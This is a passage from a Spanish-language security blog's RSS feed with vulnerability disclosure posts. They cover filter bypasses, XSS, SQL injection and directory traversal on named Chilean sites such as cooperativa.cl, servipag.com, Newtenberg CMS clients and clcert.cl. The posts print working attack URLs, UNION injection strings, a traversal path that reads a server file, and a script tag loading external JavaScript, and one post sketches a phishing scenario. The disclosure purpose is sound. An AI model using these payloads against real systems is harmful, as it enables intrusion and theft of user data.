<p>Efectivamente el &#8220;filtro&#8221; está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <strong>&lt;em&gt;prueba&lt;/em&gt;</strong>, obtenemos <strong>Error select * from disco where id=3342&lt;&gt;&lt;/&gt;</strong></p>
<p>Bien, ahora nos saltaremos los filtros que nos han puesto&#8230;</p>
<p><span id="more-2579"></span></p>
<p><strong>¿Piensas que es muy complicado?</strong></p>
<p>Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo <strong>único</strong> que tenemos que hacer es escribir con mayúsculas.<br />
Como prueba de concepto usaremos el siguiente link:</p>
<p><a href="http://musica.cooperativa.cl/disco.php?id=3342%3CSTRONG%3EHOLA!%20ESTOY%20ESCRIBIENDO%20CON%20MAYUSCULAS%20PARA%20SALTARME%20TU%20FILTRO!!%3C/STRONG%3E"><strong>http://musica.cooperativa.cl/disco.php?id=3342&lt;STRONG&gt;H</strong><strong>OLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!&lt;/STRONG&gt;</strong></a></p>
<p>Mira lo que obtenemos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3.png"><img class="aligncenter size-large wp-image-2587" title="cooperativa_3" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_3-1024x89.png" alt="" width="691" height="60" /></a></p>
<p>Para realizar la típica <strong>prueba de concepto</strong>, usando la función <em>alert()</em> de JavaScript tendremos un problema, ya que al escribir &#8220;ALERT&#8221; (con mayúsculas), no encontrará ninguna función con ese nombre &#8230; Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <strong>&lt;SCRIPT&gt;</strong> con el atributo <em>SRC</em> y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script <strong>&#8220;POC.JS</strong>&#8221; que contiene &#8220;<strong>alert(&#8216;Prueba de concepto XSS&#8217;)</strong>&#8221; (sì, con minúsculas), entonces llamamos al script de la siguiente forma:</p>
<p><strong>&lt;SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS&gt;&lt;/SCRIPT&gt;</strong></p>
<p>Y obtenemos lo siguiente:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png"><img class="aligncenter size-full wp-image-2589" title="cooperativa_4" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_4.png" alt="" width="470" height="392" /></a></p>
<p>Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.</p>
<p>Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo <strong>OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+&#8211;+</strong>, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png"><img class="aligncenter size-full wp-image-2590" title="cooperativa_5" src="http://blog.zerial.org/wp-content/uploads/2011/08/cooperativa_5.png" alt="" width="581" height="99" /></a></p>
<p>Ahora lo único que nos queda es empezar a <strong>jugar</strong> y encontrar la cantidad de columnas para poder extraer información de la base de datos.</p>
<p><strong>Un ataque más sofisticado &#8230;</strong></p>
<p>Este sitio corresponde a un lugar para descargar/comprar música &#8220;legalmente&#8221;, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien &#8230; Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a &#8220;<strong>Descargar musica a $1</strong> (<em>un peso</em>)&#8221;, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice &#8220;<em>Ha ocurrido un error inesperado. Intente mas tarde</em>&#8220;, pero <em>por debajo</em>, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.</p>
<p>La vulnerabilidad fue reportada</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-en-cooperativa-cl-saltandose-los-filtros%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/"  data-text="Vulnerabilidades en Cooperativa.cl: Saltándose los filtros." data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-en-cooperativa-cl-saltandose-los-filtros/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Servipag.cl: El portal chileno de pagos online más inseguro</title>
		<link>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/#comments</comments>
		<pubDate>Mon, 01 Aug 2011 02:36:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[altos estandares de seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2519</guid>
		<description><![CDATA[La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error. Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien [...]]]></description>
			<content:encoded><![CDATA[<p>La idea de este post es dejar al descubierto como reaccionan las empresas cuando se les reporta un problema de seguridad critico, como no son capaces de responder e intentan esconder el error.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png"><img class="aligncenter size-full wp-image-2520" title="servipwned" src="http://blog.zerial.org/wp-content/uploads/2011/07/servipwned.png" alt="" width="271" height="90" /></a></p>
<p>Servipag es un servicio para pago de cuentas en linea, muchos usuarios hacen uso de este servicio sin saber realmente a quien estan entregando su información.</p>
<p>En la sección &#8220;<a href="http://www.servipag.com/browse.asp?pagina=web/quienes_somos.htm">Quienes somos</a>&#8221; podemos ver el siguiente mensaje:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png"><img class="aligncenter size-full wp-image-2523" title="servip2" src="http://blog.zerial.org/wp-content/uploads/2011/07/servip21.png" alt="" width="453" height="70" /></a></p>
<p>Como es de costumbre de todas estas empresas, todas tienen un &#8220;alto estandar de seguridad&#8221; y todos invierten millones y millones en las ultimas tecnologias y ultimos estandares de seguridad, pero todos nosotros sabemos que eso es una <strong>mentira</strong>.</p>
<p>Según ellos:</p>
<blockquote><p>Seguridad<br />
Contamos con las herramientas de más <strong>alto nivel en seguridad</strong> y eficiencia que la tecnología virtual ofrece en el mercado actualmente.</p></blockquote>
<p>Desde hace meses que Servipag.cl es vulnerable a distintos tipos de ataques que afectan directamente al servidor y tambien a los usuarios. Las vulnerabilidades que se reportaron en este sitio son Directory Traversal, Local File Include (LFI) y Cross Site Scripting (XSS).<br />
Al ser reportadas tardaron 2 días en dar una respuesta. Como ya es un hecho en la mayoria de los sitios web, no cuentan con un procedimiento para reportar vulnerabilidades lo que hace más lento todo este proceso. Por twitter, la cuenta <a href="http://twitter.com/ServipagOnLine">@ServipagOnLine</a> comenzó a seguirme y me dijo &#8220;<em>Nuestro jefe de proyectos se contactara contigo</em>&#8220;, 7 días despues lo único que he recibido es un correo que dice:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/email.png"><img class="aligncenter size-full wp-image-2528" title="email" src="http://blog.zerial.org/wp-content/uploads/2011/07/email.png" alt="" width="360" height="180" /></a></p>
<p>Le respondí cómo podía contactarme y eso fue el fin de la conversación.</p>
<p><span id="more-2519"></span></p>
<h2>Las vulnerabilidades</h2>
<h3>Local File Include &#038; Directory Traversal</h3>
<p>Esta vulnerabilidad permite navegar arbitrariamente por los archivos del sistema, pudiendo ver su contenido. La vulnerabilidad se encuentra en el archivo &#8220;browse.asp&#8221;, al pasarle mediante la variable &#8220;pagina&#8221; el archivo que deseamos ver, por ejemplo &#8220;../../../../../../../../../../../boot.ini&#8221;.</p>
<p>Antes de haber enviado el primer reporte de vulnerabilidad, esta vulnerabilidad podia ser explotada añadiendo la ruta del directorio usando los &#8220;slash&#8221; normales (/), pero magicamente durante la semana y luego de haber sido reportada, la vulnerabilidad ya no podía ser explotada de esa forma, y el sistema mostraba un error:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/errormsg.png" alt="" title="errormsg" width="501" height="266" class="aligncenter size-full wp-image-2529" /></a></p>
<p>Pero gracias a la contribución de <a href="http://twitter.com/1error500">@1error500</a>, nos dimos cuenta que no había sido solucionado. El programador o quien sea que haya hecho el cambio, lo único que hizo fue un vergonzoso parche, ya que si cambiamos los &#8220;slash&#8221; por &#8220;backslash&#8221; (\), podemos explotar nuevamente la vulnerabilidad.</p>
<p>Por ejemplo: <a href="http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107">http://www.servipag.com/browse.asp?pagina=..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\system32\drivers\etc\hosts&#038;EstadoUsuario=0&#038;TipoConsulta=EXPRESS&#038;IdPagoSolicitado=4008706&#038;IdPeriodoSolicitado=201107</a></p>
<p><code>#<br />
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.<br />
#<br />
# This file contains the mappings of IP addresses to host names. Each<br />
# entry should be kept on an individual line. The IP address should<br />
# be placed in the first column followed by the corresponding host name.<br />
# The IP address and the host name should be separated by at least one<br />
# space.<br />
#<br />
# Additionally, comments (such as these) may be inserted on individual<br />
# lines or following the machine name denoted by a '#' symbol.<br />
#<br />
# For example:<br />
#<br />
#   102.54.94.97   rhino.acme.com     # source server<br />
#    38.25.63.10   x.acme.com       # x client host</p>
<p>127.0.0.1    localhost<br />
192.168.2.8www.servipag.com</code></p>
<p>Una verguenza de seguridad.</p>
<h3>Cross Site Scripting (XSS)</h3>
<p>Como si fuera poco, este sitio tambien es vulnerable a XSS que afectaba al mismo archivo browse.asp, pero esta vez a la variable &#8220;p&#8221; y a la variable &#8220;mensaje_error&#8221; dependiendo de la &#8220;pagina&#8221; a mostrar.</p>
<p>- http://www.servipag.com/browse.asp?pagina=web/preguntas_frecuentes4.htm&#038;bloque=Pagos%20Preguntas%20Frecuentes1&#038;p=%3Cscript%3Ealert(/XSS/)%3C/script%3E<br />
- http://www.servipag.com/browse.asp?pagina=web/msgerror.htm&#038;mensaje_error=%3C/a%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E</p>
<p>Aparentemente el error está corregido, ya que muestra el mismo mensaje de más arriba. Pero, estará realmente corregido?</p>
<p>Bueno, esto demuestra el horrible manejo de incidentes que tienen las empresas que dicen tener altos estandares de seguridad. Empresas que prometen privacidad y seguridad, hacen que los usuarios confien en ellos y nuevamente quedan al descubierto.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fservipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/"  data-text="Servipag.cl: El portal chileno de pagos online más inseguro" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-cl-el-portal-chileno-de-pagos-online-mas-inseguro/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting en CMS Newtenberg Engine</title>
		<link>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/</link>
		<comments>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/#comments</comments>
		<pubDate>Wed, 13 Jul 2011 14:05:23 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[conama]]></category>
		<category><![CDATA[conicyt]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[engine]]></category>
		<category><![CDATA[gobierno]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[newtenberg]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[subdere]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2442</guid>
		<description><![CDATA[Esta plataforma de Software permite administrar contenidos y hacer sustentables sitios Web de alta complejidad. Los documentos se almacenan en un reservorio de conocimiento y pueden ser caracterizados según múltiples miradas (clasificandos). Engine apoya las labores de Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición de Contenidos, interconectando las labores del equipo de trabajo a [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/articles-68132_foto_portada.gif" alt="" title="logo newtenberg engine" width="120" height="108" class="aligncenter size-full wp-image-2443" /></a></p>
<blockquote><p>Esta plataforma de Software permite administrar contenidos y hacer  sustentables sitios Web de alta complejidad. Los documentos se almacenan  en un reservorio de conocimiento y pueden ser caracterizados según  múltiples miradas (clasificandos). Engine apoya las labores de  Arquitectura de Información, Modelamiento, Diseño, Poblamiento y Edición  de Contenidos, interconectando las labores del equipo de trabajo a  través de un sistema de workflow.</p></blockquote>
<p>La vulnerabilidad está presente en el buscador de este CMS y se replica la mayoría de sus clientes/usuarios.<br />
Se deteca cuando vemos el codigo fuente del buscador, vemos que tiene un atribuo &#8220;onsubmit=doSearch()&#8221;</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/src_form_conama.png" alt="" title="src_form_conama" width="488" height="20" class="aligncenter size-full wp-image-2447" /></a></p>
<p>Al realizar la busqueda, la función doSearch() nos cambia el href:</p>
<pre name="code" class="c">function doSearch() {
				// Delete search's cookies
                if( "exists".match ) {
                    var results = document.cookie.match(/\w+=/g);
						if( results ) {
							for( var i=0; i < results.length; i++ ) {
								if( results[i].substring(0,7) == 'search_' ) {
									deleteCookie( results[i].substring(0,results[i].length-1) );
								}
							}
						}
                	}

					setCookie('search_keywords',document.searchForm.keywords.value);
					setCookie('search_start', 0 );
					setCookie('search_group', 0 );
					setCookie('search_expanded', 0 );
					document.location.href="w3-propertyvalue-16131.html";
                    return false;
                } </pre>
<p>Y cuando carga el sitio "w3-propertyvalue...." podemos ver en el codigo fuente que se genera el siguiente javascript:</p>
</pre>
<pre name="code" class="c">var url = 'http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query';
	url+= '&#038;engine=SwisheFind';
	url+= '&#038;rpp=';
	url+= '&#038;cid=815';
	url+= '&#038;stid=';
	url+= '&#038;iid=1257';
	url+= '&#038;grclass=resultado-busqueda';
	url+= '&#038;pnid=';
	url+= '&#038;pnid_df=';
	url+= '&#038;pnid_tf=';
	url+= '&#038;pnid_search=2033,1999,1849';
	url+= '&#038;limit=';
	url+= '&#038;searchon=';
	url+= '&#038;channellink=';
	url+= '&#038;articlelink=w3:article';
	url+= '&#038;pvlink=w3:propertyvalue';
	url+= '&#038;notarticlecid=';
	url+= '&#038;use_cid_owner_on_links=';
	url+= '&#038;show_ancestors=';
	url+= '&#038;show_pnid=';
	url+= '&#038;cids=815';
	if( "exists".match ) {
		var results = document.cookie.match(/\w+=/g);
		if( results ) {
			for( var i=0; i < results.length; i++ ) {
				if( results[i].substring(0,7) == 'search_' ) {
					url += '&#038;' + results[i].substring(7,results[i].length) + escape( getCookie( results[i].substring(0,results[i].length-1) ) );
				}
			}
		}
	} else {
		url+= '&#038;start=' + getCookie( 'search_start' );
		url+= '&#038;keywords=' + escape(getCookie( 'search_keywords' ));
	}
	url+= '&#038;prepnidtext=' + escape('');
	// Descomentar la siguiente linea para depurar
	//document.write( '<' + 'iframe width="500" height="500" src="' + url + '">' + + '< ' + '/iframe>' );
	url+= '&#038;javascript=1';
	document.write( '<scr ' + 'ipt language="JavaScr' + 'ipt" type="text/javascr' + 'ipt" src="' + url + '"> < \/scr' + 'ipt>' );</scr></pre>
<p>Esta vulnerabilidad afecta el propio sitio web de la empresa y a casi todos sus clientes.<br />
A partir de este codigo javascript generado por el CMS, construiremos nuestro XSS.</p>
<p><span id="more-2442"></span></p>
<p>Para este ejemplo, lo que nos interesa es el valor final de la variable &#8220;url&#8221;, que en este caso es algo similar a:</p>
<p><strong>http://ntg-engine.conama.cl/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=&#038;cid=815&#038;stid=&#038;iid=1257&#038;grclass=resultado-busqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2033,1999,1849&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=&#038;show_pnid=&#038;cids=815&#038;keywords=prueba</strong></p>
<p>Ya nos salimos del dominio <em>conama.cl</em> y entramos a jugar al subdominio <em>ntg-engine.conama.cl</em>, donde está instalado el motor (engine) del CMS. Si abrimos la URL de prueba, podemos ver el siguiente resultado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/busqueda_conama.png" alt="" title="busqueda_conama" width="469" height="221" class="aligncenter size-full wp-image-2450" /></a></p>
<p>Aparece en <strong>negrita</strong> la palabra que buscamos. Si en lugar de prueba insertamos un codigo javascript, será ejecutado:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_conama.png" alt="" title="xss_poc_conama" width="670" height="410" class="aligncenter size-full wp-image-2451" /></a></p>
<p>Los sitios afectados son:</p>
<p><a href="http://www.newtenberg.com">Newtenberg &#8211; http://www.newtenberg.com</a><br />
<a href="http://www.sinia.cl">SINIA (Sistema Nacional de Informacion Ambiental) &#8211; http://www.sinia.cl</a><br />
<a href="http://www.mma.gob.cl">Ministerio del Medio Ambiente &#8211; http://www.mma.gob.cl</a><br />
<a href="http://www.siss.gob.cl">Superintendencia de Servicios Sanitarios &#8211; http://www.siss.gob.cl</a><br />
<a href="http://ri.conicyt.cl">Repositorio Institucional CONICYT &#8211; http://ri.conicyt.cl</a><br />
<a href="http://www.redlideres.cl">Red Lideres &#8211; http://www.redlideres.cl</a><br />
<a href="http://www.puntolex.cl">Punto Lex &#8211; http://www.puntolex.cl</a><br />
<a href="http://www.subdere.gov.cl">Subsecretaria de Desarrollo Regional y Administrativo &#8211; http://www.subdere.gov.cl</a><br />
<a href="http://www.conama.cl">CONAMA &#8211; http://www.conama.cl</a><br />
<a href="http://www.elperiodista.cl/">El Periodista &#8211; http://www.elperiodista.cl/</a><br />
<a href="http://www.colombiaaprende.edu.co">Colombia Aprende &#8211; http://www.colombiaaprende.edu.co</a></p>
<p>Cada uno de estos sitios construye su propia URL dependiendo de los parametros, cuando hagamos una busqueda y veamos el codigo fuente, podemos ver el javascript generado automaticamente y crear nuestra URL explotable a partir de la variable &#8220;url&#8221;.</p>
<p><strong>PoC Subsecretaria de Desarrollo Regional y Administrativo (SUBDERE)</strong></p>
<p>URL: <strong>http://engine.subdere.gov.cl/mod/find/cgi/find.cgi?action=query&#038;engine=&#038;rpp=20&#038;cid=876&#038;stid=&#038;iid=1510&#038;grclass=&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=2403,2400,2444,2460,2530,2570,2544,2569,2541,2571&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=w3:article&#038;pvlink=w3:propertyvalue&#038;notarticlecid=&#038;use_cid_owner_on_links=&#038;show_ancestors=1&#038;show_pnid=1&#038;cids=876&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_subdere.png" alt="" title="xss_poc_subdere" width="644" height="422" class="aligncenter size-full wp-image-2454" /></a></p>
<p><strong>PoC en el propio sitio de Newtenberg</strong></p>
<p>URL: <strong>http://engine.newtenberg.com/mod/find/cgi/find.cgi?action=query&#038;engine=SwisheFind&#038;rpp=10&#038;cid=924&#038;stid=5686&#038;iid=1765&#038;grclass=resultadobusqueda&#038;pnid=&#038;pnid_df=&#038;pnid_tf=&#038;pnid_search=&#038;limit=&#038;searchon=&#038;channellink=&#038;articlelink=&#038;pvlink=&#038;notarticlecid=0&#038;use_cid_owner_on_links=0&#038;show_ancestors=&#038;show_pnid=&#038;cids=924&#038;keywords=%3Cscript%3Ealert%28/XSS%20PoC/%29%3C/script%3E<br />
</strong></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png"><img src="http://blog.zerial.org/wp-content/uploads/2011/07/xss_poc_newtenberg.png" alt="" title="xss_poc_newtenberg" width="660" height="406" class="aligncenter size-full wp-image-2459" /></a></p>
<p>El error se produce al no filtrar el contenido de la variable &#8220;<strong>keywords</strong>&#8220;.</p>
<p>No se descarta que puedan haber mas sitios afectados.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fcross-site-scripting-en-cms-newtenberg-engine%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/"  data-text="Cross-Site Scripting en CMS Newtenberg Engine" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/cross-site-scripting-en-cms-newtenberg-engine/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad SQL Injection + Cross-Site Scripting en sitio web del CLCERT</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-sql-injection-cross-site-scripting-en-sitio-web-del-clcert/#comments</comments>
		<pubDate>Thu, 07 Jul 2011 13:34:05 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[clcert]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql-i]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2387</guid>
		<description><![CDATA[Según el propio sitio web: El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos. Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios [...]]]></description>
			<content:encoded><![CDATA[<p>Según el propio sitio web:</p>
<blockquote><p>El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.</p></blockquote>
<p>Si bien CLCERT es una &#8220;organización&#8221; que busca mejorar la seguridad, creo que es <strong>impresentable</strong> que tengan publicados sitios web con vulnerabilidades tan <strong>basicas</strong>.<br />
Esta organización da cursos y diplomados relacionados a la &#8220;Seguridad Computacional&#8221; o como la mayoría los conoce &#8220;Cursos de Seguridad Informática&#8221; o simplemente &#8220;Cursos de Seguridad&#8221;. Todas las personas que han pasado por estos cursos se pueden ver en la URL <a href="http://capacita.clcert.cl/dir/">http://capacita.clcert.cl/dir/</a> la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.</p>
<p>La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable &#8220;apellido&#8221;, &#8220;id&#8221; y &#8220;fecha&#8221; del archivo index.php. Y la XSS se produce a partir de esta misma.</p>
<p>Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url</p>
<p><img class="aligncenter size-full wp-image-2388" title="url" src="http://blog.zerial.org/wp-content/uploads/2011/07/url.png" alt="" width="259" height="31" /></p>
<p>Deducimos que podemos inyectar código sql mediante la variable &#8220;<em>apellido</em>&#8220;.</p>
<p><span id="more-2387"></span></p>
<p><strong>Proof-of-Concept</strong></p>
<h3>1. SQL Injection</h3>
<p>Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter &#8221; &#8216; &#8221; al valor de la variable mediante la URL <a href="http://capacita.clcert.cl/dir/?apellido=%27">http://capacita.clcert.cl/dir/?apellido=%27</a> y obtenemos el error esperado con la información deseada:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png"><img class="aligncenter size-full wp-image-2390" title="sql1" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql1.png" alt="" width="661" height="61" /></a></p>
<p>Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.<br />
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones <strong>user()</strong> y <strong>version()</strong> propias del MySQL.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png"><img class="aligncenter size-full wp-image-2394" title="sql2_url" src="http://blog.zerial.org/wp-content/uploads/2011/07/sql2_url.png" alt="" width="545" height="37" /></a></p>
<p>Obteniendo en los campos correspondientes la información solicitada</p>
